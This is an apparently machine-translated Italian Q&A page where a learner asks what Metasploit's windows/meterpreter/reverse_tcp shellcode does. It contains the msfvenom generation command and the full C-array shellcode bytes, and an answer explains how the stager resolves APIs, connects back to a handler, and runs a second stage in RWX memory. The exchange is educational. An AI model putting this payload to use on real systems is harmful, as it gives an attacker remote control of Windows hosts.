Che cosa fa windows meterpreter reverse TCP Shellcode?

1

Ho appena iniziato a imparare msfconsole e ho usato windows / meterpreter / reverse_tcp. So che questo stabilisce una connessione dal sistema di destinazione al nostro sistema di attacco.

Tuttavia mi piacerebbe sapere che quando generiamo il carico utile usando msfvenom -p windows / meterpreter / reverse_tcp LHOST = x.x.x.x e LPORT = xxxx -f c. Che cosa fa in effetti lo shellcode Char citato.

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x02\x0f"
"\x68\x02\x00\x10\xe1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

Il codice shell ha un nome particolare?

Vorrei sapere qual è la funzione dello shellcode di cui sopra e se ha già un nome particolare assegnato ad esso. Ho provato a convertire in linguaggio assembly per capire ma senza fortuna.

Gradirei la guida.

    
posta Craig Peris 02.08.2018 - 04:39
fonte

1 risposta

2

Questa è la rappresentazione esadecimale del codice shell che può essere assegnato a un array quando generato in C. Una volta assegnato il codice shell a un array, può essere eseguito direttamente tramite il puntatore a funzione (funziona in Windows meno recente ma DEP ha problemi con il metodo del puntatore funzione) o tramite l'API Windows standard.

Venendo al codice shell stesso, utilizza per prima cosa la famosa tecnica API a blocchi in cui tutte le funzioni importanti all'interno dei moduli caricati vengono confrontate con un set di hash pre-elencati per trovare gli indirizzi di base di tutte le funzioni API che bisogno. Ad esempio, il codice shell sopra prima ricerca di LoadLibrary in kernel32.dll, una volta trovato, utilizza LoadLibrary per caricare ws2_32.dll che ha tutte le funzioni necessarie per creare un socket. Usando il socket appena creato, il codice shell tenterà una connessione al gestore, riceverà la dimensione del secondo stadio e allocherà e l'area di memoria RWX, memorizzerà il secondo stadio ricevuto nella memoria RWX e passerà il controllo al secondo stadio .

Questo è tutto ciò che sta facendo il codice shell sopra. Dai un'occhiata al codice assembly commentato del codice shell reverse_tcp su link

    
risposta data 02.08.2018 - 09:09
fonte

Leggi altre domande sui tag